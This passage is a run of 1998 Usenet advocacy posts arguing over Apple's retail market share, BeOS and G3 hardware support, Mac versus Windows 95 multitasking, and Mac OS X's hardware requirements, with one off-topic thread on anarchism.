Is the Apple online store considered a _retail_ outlet? Since, as you
mention, the Dell numbers are not shown, one can only surmise that the
Apple store isn't included either.
>If you dont include bto
> sales from dell you cant include bto from apple.
>
> So what is apple's REAL market share numbers?
>
> --
> Joe [Ragosta], do not look directly at the RDF. What you want
> to do is punch a hole in a piece of cardboard and
> make a pin-hole camera to observe the RDF from a safe distance.
> - Sal Denaro
--
Tim
From: tjlegg@tiac.net (Dr. Hair)
Newsgroups: comp.sys.next.advocacy
Subject: Anarchy and Utopianism was (re: NT)?
Date: Sat, 25 Jul 1998 07:50:06 -0400
Organization: The Eleven
Distribution: world
Message-ID: <tjlegg-2507980750060001@207.244.92.49>
References: <slrn6r6m6e.9fc.sal@panix3.panix.com> <6p0klo$jcu$1@camel29.mindspring.com> <35b3e3d7.0@news.depaul.edu>
Sorry to follow back up to this c.s.n.a
In article <35b3e3d7.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
>Matthew Cromer <matthew_cromer@iname.com> wrote:
>> >Crock. They have a vested interest in making money.
>> Yes, you are correct, many of us see libertarianism as leading to
>> anarchy. If by anarchy you mean society without government.
>
>And if you believe that's a good idea, you're a foolish utopian.
>Just like Lenin, the idea ignores human nature as a greedy,
>short-sighted, destructive species. Businesses behave the
>same way, yet libertarians invest business and the markets
>with nonexistent wisdom, as if suddenly they'll stop
>behaving the way they always have.
It is strange how Lenin is brought up in this argument.
Lenin was the power that abhored the vaccuum. He believed that people
needed a vanguard group to lead them where they wanted to be led. The
Russian anarchists believed that if people were left to their own devices
then they could provide their own self-sufficiency.
The only problem our society has at this point is that the means of
production have become so alienated at the grass roots that to try and
convince someone that they could live without a telecommunications
oligopoly is futile.
This is sort of related to the arguments that Mr. Stallman and the Free
Software Foundation have with commercial software on BSD and Linux. It is
in Oracle's or Informix's best interest not to disclose the limitations of
their own software. But the existence of commercial software in the
database (or any other) market might discourage the development of GPL'ed
analogues, which would be infinitely better at information disclosure.
>And then there's the simple fact that power abhors a vacuum.
>If an anarchic state did arise, it wouldn't last a year. Factions
>would develop, and the better-armed faction would seize power.
>Oops - there go your liberties, peasant, now go plow the
>back forty. Next thing you know, you're back to a hereditary
>monarchy and feudalism.
>
>Sounds like fun. I can't wait. The libertarians will learn
>what real 'force' feels like, and it ain't the IRS. Or
>Janet Reno for that matter.
There are some different things involved here. It was America the evolved
the entity known as a corporation. The entire idea that a group of people
as a financial entity could be granted person-hood and therefore
independent political power is repugnant to an anarchist. If you are a
part owner in a company then dammit you are responsible for what that
company does (you own stock in a meat packing plant and it poisons people,
then your assets are available for lawsuits from the afflicted. And that
would provide the stock market correction and true reintroduction of risk
in to wealth creation within capitalism.) But the divorce of
responsibility and wealth creation within "capitalism" to ensure
investment and the continual flow of capital to the market (ie market
growth) has corrupted the power balance to the point that one might
believe that anarchy is merely a utopian fantasy.
(p.s. welcome to usenet, a working anarchy in action).
--
Tom Legg
tjlegg@shore.net
http://www.shore.net/~tjlegg/
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 25 Jul 1998 13:00:44 GMT
Organization: Primenet (602)416-7000
Message-ID: <6pckts$au$1@nnrp03.primenet.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <35B8D9F4.D6C93C1@ericsson.com> <joe.ragosta-2407981626250001@wil51.dol.net> <35B8F293.F58D0926@ericsson.com> <6pbia6$mbj@newsb.netnews.att.com>
gupta@kcopsrm.tm.tta.moc-mirrorafter@ wrote:
: I haven't tried it, but doesn't PPC-Linux run on the G3s ?
: Since that is open-source code, I would imagine that what
: you need to know to run an OS on the G3 machines is in the
: public domain.
I'm not sure the current state. At some points MkLinux has "run" on
machines without having graphics or sound or even floppy support.
Does anyone know if all pertinent driver information is in the Linux
release, or is this just hearsay?
John
From: Macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Not a troll, please explain
Date: Fri, 24 Jul 1998 20:21:59 -0700
Organization: EarthLink Network, Inc.
Message-ID: <Macghod-2407982021590001@sdn-ar-001casbarp206.dialsprint.net>
References: <Macghod-2407981154540001@sdn-ar-001casbarp005.dialsprint.net> <swhite-2407981939520001@pulm-mac2.bsd.uchicago.edu>
In article <swhite-2407981939520001@pulm-mac2.bsd.uchicago.edu>,
swhite@medicine.bsd.uchicago.edu (Steve White) wrote:
> > Yet, from macosrumors, as well as other sites:
> >
> > Apple market share up to 9.4%!
>
>
> It might actually help if you read what was written.
What reason is their for you to be such a jerk? Macosrumors had ONE line
about this: "According to a recent report from PC Data, Apple's market
share has risen from 4% earlier this year to 9.4% in June! " Do you see
the word "retail" in their Mr Unnice person? NO! The word "Pc Data" in
that sentance is highlighted, meaning its a link. Before I posted the
message I clicked on the link, it didnt take me to the article, instead it
took me to the home page for pc data. It had a subscriber login. I am
not a subscriber so I couldnt check the article, all I had to go on was
what macosrumors said, "According to a recent report from PC Data, Apple's
market share has risen from 4% earlier this year to 9.4% in June! "
Macosrumors LIED, or at least told a whooper of a untruth. Earlier this
year apple's worldwide marketshare was about %4. It hasnt increased from
%4 to %9. I dont know what the worldwide marketshare is. They are total
idiots to say the marketshare has jumped from %4 to %9.4 for 2 reasons
1) The %4 was true marketshare, the 9.4 was only retail marketshare, and
probably only in the us.
2) by convention, if you say just marketshare, that refers to worldwide
marketshare.
> Apple's share of the retail store sales was 9.4%.
>
> Their share of the enterprise market is less.
>
> Their share of the education market is about 38%, according to one survey.
>
> I haven't seen anything about direct and internet sales.
--
Joe [Ragosta], do not look directly at the RDF. What you want
to do is punch a hole in a piece of cardboard and
make a pin-hole camera to observe the RDF from a safe distance.
- Sal Denaro
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 25 Jul 1998 13:19:50 GMT
Organization: Primenet (602)416-7000
Message-ID: <6pcm1m$au$2@nnrp03.primenet.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <35B8D9F4.D6C93C1@ericsson.com> <joe.ragosta-2407981626250001@wil51.dol.net> <35B8F293.F58D0926@ericsson.com> <6pbia6$mbj@newsb.netnews.att.com> <6pc1sr$jr3@bgtnsc02.worldnet.att.net>
<joe.ragosta-2507980701040001@elk43.dol.net>
Joe Ragosta <joe.ragosta@dol.net> wrote:
: Sounds like a pretty feeble excuse. The information needed to make an OS
: run on G3s is publicly available. If that's not enough, Linux has done it
: and Be can build on their work. I agree with whoever (Jason S?) said Be
: was a bunch of whiners.
Looking at the big picture, didn't Apple just give Be the biggest gift of
their lives? Apple said it wasn't interested in the X86 market and was
going pick up its toys and go home. That left Be as the only commercial,
end-user, alternative to Windows on x86. Be should kiss Steve Jobs on the
mouth, and go spend their money on x86 development. They're in fat city.
I think the bit about Apple witholding information was true back at the
point where Be would have started the G3 port. If it's changed now, big
deal. Be has bigger fish to fry.
You still want it both ways:
- You want Apple to have the luxury of a proprietary platform
- You want people like be to bend over backwards to support it
Sorry, Be is out making money on an open platform.
John
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sat, 25 Jul 1998 08:24:41 -0500
Organization: Prairie Group
Message-ID: <MPG.10239896d466d7669899f5@news.supernews.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <Pine.NXT.3.96.980724125137.20132J-100000@pathos> <35B8D9F4.D6C93C1@ericsson.com> <joe.ragosta-2407981626250001@wil51.dol.net> <35B8F293.F58D0926@ericsson.com> <slrn6ri2rs.gl.jason@jhste1.dyn.ml.org> <6pb83o$9i1$1@plo.sierra.com>
In article <6pb83o$9i1$1@plo.sierra.com>, earl.malmrose@nospam.sierra.com
says...
> Jason S. wrote in message ...
> >Michael Peck posted the following to comp.sys.mac.advocacy:
> >
> >>Hey, does BeOS run on the G3, yet? Oh, so sorry. Thanks for playing.
> >
> >>From the Be PowerPC FAQ:
> >
> >>No, the BeOS is not compatible with Apple's "G3"
> >>systems. We have requested from Apple the detailed
> >>technical specifications we would need to provide
> >>support for these systems, and Apple has declined
> >>our requests. This information, concerning the design
> >>of the logicboard, is available only from Apple.
> >>Without this technical information, it is impossible
> >>for us to support the new hardware.
> >
> >And Be Inc. is a bunch of whiners. Much of the hardware (perhaps
> >all?) on the Gossamer board is documented elsewhere - witness the
> >success of the Linux/PowerPC group in getting Linux to run on the
> >G3 (I think they even came up with fixes for Apple's broken OF,
> >IIRC).
>
> No, they're not whiners, just smart business people. Why waste time
> reverse-engineering specs for a very small platform, when that time can be
> spent improving support of the really big platform?
So Be's problem isn't Apple's fault like Michael said, it's just Be's
choice to focus on other machines? Thanks!
Donald
From: quinlan@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Sat, 25 Jul 1998 09:39:49 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pc954$8or$1@nnrp1.dejanews.com>
References: <6or4sj$83a$1@supernews.com> <alex-1807981924120001@castle.webis.net> <6ori3d$sbi$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ou35v$h4l$1@nnrp1.dejanews.com> <Josh.McKee-2107981925440001@pm3a2.rmac.net> <gmgraves-2207981043260001@sf-usr1-22-150.dialup.slip.net> <6p5mqd$nsu$1@nnrp1.dejanews.com> <Josh.McKee-2307981810170001@pm3a8.rmac.net> <6p9acg$o8n$1@nnrp1.dejanews.com> <Josh.McKee-2407981748590001@pm3a13.rmac.net>
In article <Josh.McKee-2407981748590001@pm3a13.rmac.net>,
Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> Of course it has...just like the Mac doesn't multitask while doing
> processor intensive tasks like others have claimed. Nothing personal
> against you, but my experience has shown that most Windows users are
> talking out their ass when it comes to the Mac. Not saying that you're
> doing this, but I always have my doubts.
Mac multitasking sucks will doing processor intensive tasks. The applications
are responsible for scheduling and they don't have enough information to do it
well even if they are properly designed. BTW, I am both a Mac and a Windows
user. I am also an expert Mac programmer and know a lot about the MacOS.
> They say that this should not be allowed...yet their
> precious Windows 95 falls prey to it as well. As such, does Windows 95
> really have PMT if it can be blocked?
Yes.
> And, Windows 95 itself still has 16 bit code for certain parts, thus the
> OS itself can block the multitasking.
Every OS must block multitasking while executing certain code.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: quinlan@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Sat, 25 Jul 1998 09:42:58 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pc9b1$8qd$1@nnrp1.dejanews.com>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net>
In article <Josh.McKee-2407981743100001@pm3a13.rmac.net>,
Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> Why does it have to be worse? When the multitasking stops, it's about as
> bad as it gets.
You claimed that Windows 95 multitasking was about as good as MacOS
multitasking. I can name many instances where Windows 95 multitasking is
better than MacOS multitasking but you can't seem to identify the converse.
How can something be about as good when it is inferior in many respects and
superior in none?
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sat, 25 Jul 1998 08:28:03 -0500
Organization: Prairie Group
Message-ID: <MPG.10239959b4d252439899f6@news.supernews.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <Pine.NXT.3.96.980724125137.20132J-100000@pathos> <35B8D9F4.D6C93C1@ericsson.com> <joe.ragosta-2407981626250001@wil51.dol.net> <6pbko2$jvn$1@news.xmission.com>
In article <6pbko2$jvn$1@news.xmission.com>, kris@xmission.xmission.com
says...
> In comp.sys.next.advocacy Joe Ragosta <joe.ragosta@dol.net> wrote:
>
> > Novell dropped Netware for PPC.
> > APPLE HAD NOTHING TO DO WITH [Novell dropping the PPC arch.]
>
> You don't know what you are talking about.
Then enlighten us. What did Apple have to do with Novell dropping
support for Netware for PPC?
Donald
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 25 Jul 1998 13:50:52 GMT
Organization: Frontier GlobalCenter Inc.
Message-ID: <6pcnrs$2nn$1@nnrp03.primenet.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net>
Donald Brown <don.brown@cesoft.com> wrote:
: Then enlighten us. What did Apple have to do with Novell dropping
: support for Netware for PPC?
Apple shaped the PPC world we live in. I think it is pretty obvious that
a common hardware platform would have happened if Apple had backed it (ie.
no ROM games). If there had been a common hardware platform, I think it
is pretty obvious that there would be more PPC software support than there
is today. Perhaps that would have meant more MacOS sales in the long run,
and perhaps not.
It's over, who cares.
Every week I run:
HP-UX on PA-RISC
DEC UNIX on Alpha
Solaris on Sparc
Linux on K6
WinNT on PII
AIX on PPC (yes, my workstation uses a 604)
*
It's not like we don't have choices. K6's are fast and cheap. Don't
worry, be happy.
John
* - we even have a Siemens-Nixdorf with an R3000, but I don't run it that
often.
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sat, 25 Jul 1998 14:05:42 +1000
Organization: University of Queensland
Message-ID: <6pblj8$q9a$1@bunyip.cc.uq.edu.au>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <slrn6rgr5c.39f.jason@jhste1.dyn.ml.org> <joe.ragosta-2407980808030001@wil49.dol.net> <35B88F92.F794FF48@nstar.net> <joe.ragosta-2407981108350001@wil63.dol.net> <35B8E0E1.7202D351@ericsson.com>
Michael Peck <Michael.Peck@ericsson.com> wrote in message
35B8E0E1.7202D351@ericsson.com...
>Joe Ragosta wrote:
>> Or Windows NT? Last time I checked, NT is selling reasonably well.
>
>Last time I checked, Microsoft has not yet agreed to port Windows NT to
>PPC. Check me if I'm wrong. I don't remember Microsoft being a part of
>the "bargain".
NT has had a PPC port since at *least* version 3.51.
>
>> But you'll insist until the end that it's all Apple's fault whenever
>> something fails to live up to its full promise.
>
>No, just when it's Apple's fault. Duh.
>
>MJP
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sat, 25 Jul 1998 09:00:48 -0500
Organization: Prairie Group
Message-ID: <MPG.1023a10bd1f4115c9899fa@news.supernews.com>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <not-2307981301280001@ip-167-019.phx.primenet.com> <mcox-ya02408000R2407982314330001@newsource.ihug.co.nz> <not-2407981312520001@ip-26-162.phx.primenet.com> <mcox-ya02408000R2507981113400001@newsource.ihug.co.nz> <35b9372a.0@news.depaul.edu> <mcox-ya02408000R2507981604510001@newsource.ihug.co.nz>
In article <mcox-ya02408000R2507981604510001@newsource.ihug.co.nz>,
mcox@ihug.co.nz says...
> In article <35b9372a.0@news.depaul.edu>, Jonathan W Hendry
> <jhendry@shrike.depaul.edu> wrote:
>
> >Testing is only part of the battle. After testing comes fixing, and
> >that means programming, which doesn't respond well to throwing
> >bodies at it.
>
> True. However, nobody (not even Apple) knows how much tweaking OS X would
> take to run on PCI Power Macs.
>
> It may well be a minimal exercise - it may well be an enormous task that is
> Herculean. That's the point - nobody knows and yet Apple has made its
> decision without proper investigation. At least, that's how their PR comes
> across, and that's what a lot of 7x00+ series machine owners are upset
> about.
If that's how it's viewed, that's wrong.
Apple has done some investigation, and is doing more as it goes along.
No, it is giving no wiggle room in its current statements, because any
wiggle room would come back to bite them if it turns out to Herculean.
(You said there was a chance it would work! So, I bought this used 7200!
Now, I find it out never works! Apple, you screwed me over!)
> If Apple takes a serious look, and comes back and says "Look, there's no
> way we can get OS X running on a G3 equipped 9600 because the widget and
> sprocket interface don't connect to the fandoogle port" then maybe we'd be
> somewhat happier.
Apple is taking a serious look. According to some contacts I have inside
Apple that I trust.
Donald
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 24 Jul 1998 22:24:43 GMT
Organization: I don't think so
Message-ID: <slrn6ri2rs.gl.jason@jhste1.dyn.ml.org>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <Pine.NXT.3.96.980724125137.20132J-100000@pathos> <35B8D9F4.D6C93C1@ericsson.com> <joe.ragosta-2407981626250001@wil51.dol.net> <35B8F293.F58D0926@ericsson.com>
Michael Peck posted the following to comp.sys.mac.advocacy:
>Hey, does BeOS run on the G3, yet? Oh, so sorry. Thanks for playing.
>From the Be PowerPC FAQ:
>No, the BeOS is not compatible with Apple's "G3"
>systems. We have requested from Apple the detailed
>technical specifications we would need to provide
>support for these systems, and Apple has declined
>our requests. This information, concerning the design
>of the logicboard, is available only from Apple.
>Without this technical information, it is impossible
>for us to support the new hardware.
And Be Inc. is a bunch of whiners. Much of the hardware (perhaps
all?) on the Gossamer board is documented elsewhere - witness the
success of the Linux/PowerPC group in getting Linux to run on the
G3 (I think they even came up with fixes for Apple's broken OF,
IIRC).
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: quinlan@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Fri, 24 Jul 1998 22:33:05 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pb231$v5k$1@nnrp1.dejanews.com>
References: <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <tbrown-1707982135270001@mv099.axom.com> <35B19951.CFB0631F@cloud9.net> <joe.ragosta-1907980715010001@elk55.dol.net> <6otqmo$s04$3@hecate.umd.edu> <joe.ragosta-2007980638300001@elk43.dol.net> <6p51vm$k5l$1@hecate.umd.edu> <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <gmgraves-2207982342130001@sf-usr1-9-137.dialup.slip.net> <joe.ragosta-2307981259010001@wil73.dol.net> <6p85g8$g4q$1@news01.deltanet.com> <gmgraves-2407981223510001@sf-usr1-3-131.dialup.slip.net>
In article <gmgraves-2407981223510001@sf-usr1-3-131.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> At the expense of their own credibility? I don't see how you can
> make a case for this. Its like the president of GM driving a Ford,
> it certainly speaks volumes about confidence in ones's own product.
No, it's like the president of the company that makes the radiators for all
the GM products driving a Ford. These radiators might be the best on the
market but the president might perceive GM cars as being ugly, fuel
inefficient, having crappy styling, expensive parts, etc.
> There are a number of cheap answers to this dilema, like Connectix'
> VPC and Insignia's SoftWindows products. Many Mac users solve their
> Windows compatibility problems using these inexpensive and wholly
> satifactifory solutions (I certainly do).
That totally depends on what application you are running. Also, if your
primary applications only run under Windows then you should get the real
thing.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Fri, 24 Jul 1998 17:33:37 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2407981733370001@sf-usr1-29-157.dialup.slip.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <joe.ragosta-2407981107010001@wil63.dol.net> <6padmi$91m$1@server.signat.org>
In article <6padmi$91m$1@server.signat.org>, maury@remove_this.istar.ca
(Maury Markowitz) wrote:
> In <joe.ragosta-2407981107010001@wil63.dol.net> Joe Ragosta wrote:
> > AIM set up a team to develop a new series of processors. Someone stated
> > that they claimed they were going to have 10% of the CPU market. I don't
> > remember that, but let's say it's true.
>
> According to Rumors Apple has 9% of the market again, so it's almost true.
Yes Apple now has 9.4% marketshare for this past quarter and has risen to
the number 5 spot in unit shipments. But the Mac OS is still at 3% and not
growing a lick. This means that Apple is STILL selling to the choir only.
George Graves
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: swhite@medicine.bsd.uchicago.edu (Steve White)
Subject: Re: Not a troll, please explain
Message-ID: <swhite-2407981939520001@pulm-mac2.bsd.uchicago.edu>
Sender: news@midway.uchicago.edu (News Administrator)
Organization: University of Chicago
References: <Macghod-2407981154540001@sdn-ar-001casbarp005.dialsprint.net>
Date: Sat, 25 Jul 1998 00:39:52 GMT
In article <Macghod-2407981154540001@sdn-ar-001casbarp005.dialsprint.net>,
Macghod@concentric.net (Steve Sullivan) wrote:
> Yet, from macosrumors, as well as other sites:
>
> Apple market share up to 9.4%!
It might actually help if you read what was written.
Apple's share of the retail store sales was 9.4%.
Their share of the enterprise market is less.
Their share of the education market is about 38%, according to one survey.
I haven't seen anything about direct and internet sales.
steve
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 24 Jul 1998 17:53:31 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2407981753310001@sf-usr1-29-157.dialup.slip.net>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <35b6568f.0@news.depaul.edu> <mcox-ya02408000R2307981829100001@newsource.ihug.co.nz> <not-2307981027360001@ip-26-096.phx.primenet.com> <Pine.SOL.3.96.980723133426.10555A-100000@ux9.cso.uiuc.edu> <not-2307981300150001@ip-167-019.phx.primenet.com> <see-below-2407980002030001@dynamic18.pm10.mv.best.com> <not-2407981144330001@ip-26-164.phx.primenet.com>
In article <not-2407981144330001@ip-26-164.phx.primenet.com>,
eilersm@psn.net wrote:
> > Wrong. All of these charges and accusations are perfectly legitimate
> > complaints from Apple's customers, which aren't going away unless Apple
> > changes their position or comes out and says exactly _why_ they needed to
> > do this and had absolutely no alternative (ie, delaying some less-critical
> > features until a later release).
>
> They *HAVE* said so, repeatedly. Mac OS X is running on G3 only because it
> is a high-end professional OS aimed at power users and professionals.
This is bullshit. They said that about RHAPSODY, but not about OS-X. OS-X will
be the next mainstream Mac OS (if they don't change their mind in the meantime).
OS-8.5 and Sonata are going to be simply stop-gap arrangements to support older
machines until those owners upgrade to G3 or G4 based machines.
They
> have never indicated anything different. They haven't called OS X the OS
> for "the rest of us." Why the hell else would they be developing Sonata in
> parallel?
To support other than G3 and G4 PowerMacs. If they didn't, there would be an
armed insurrection (not that there isn't almost one now.).
Why would they spend all that money to make two OSs if one would
> do the job for both?
To keep owners of recent 603E and 604E from going ballistic, maybe?
Because they have different target markets, as you
> yourself pointed out: Casual users get Sonata, power users (who upgrade
> their hardware often--such is the definition of a power user) get OS X.
No, down the road, there will be one OS, OS-X. OSX is MacOS. As soon as they
feel they can stop actively supporting the older machines, the Sonata thread
will be dropped. Jobs clearly outlined this migration in his WWDC presentation.
>
> > Again, if none of these customers care one bit for all the advanced
> > features of OS X, then why should Apple even bother? They can certainly
> > save a _lot_ of money by just upgrading OS 8 and spending more on
> > advertising. I think the people you're talking about are not the target
> > market for OS X.
>
> Man, you're just shooting yourself in the foot. More cake and eat it too,
> eh? It sounds like even *you* don't want the masses to have OS X. OS X is
> *not* for the masses, and those it is aimed at will have G3s by the time
> it comes out!
I already have a G3 in my PowerComputing machine, and it cost me a fortune
and I am big time pissed about my machine not running OS-X. Apple may
placate some with this dual strategy OS, but I'm not one of them.
George Graves
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Fri, 24 Jul 1998 17:43:09 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2407981743100001@pm3a13.rmac.net>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com>
NNTP-Posting-Date: 24 Jul 1998 23:41:02 GMT
In article <6p9ami$olq$1@nnrp1.dejanews.com>, quinlan@my-dejanews.com wrote:
> In article <Josh.McKee-2307981802510001@pm3a8.rmac.net>,
> Josh.McKee@cbns.com (Joshua T. McKee) wrote:
>
> > MS-Mail client running under Windows 95 attempting to connect to an
> > MS-Mail server which is unavailable. Until it times out, the Windows 95
> > system is hung. MS-Mail is a 16 bit program, thus it blocks Windows 95's
> > "Pre-emptive multitasking".
>
> That is an example where Windows 95 is just as bad. I challenged you to find a
> situation where it is worse.
Why does it have to be worse? When the multitasking stops, it's about as
bad as it gets.
But this brings up a good point. Other parts of Windows 95 are worse than
the Mac. As such, since Windows 95's multitasking isn't that much better
than the Macs, the multitasking alone doesn't justify having to deal with
Windows 95's other problems.
Josh
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Fri, 24 Jul 1998 17:00:51 -0700
Organization: Sierra On-Line, Inc.
Message-ID: <6pb7pl$9gv$1@plo.sierra.com>
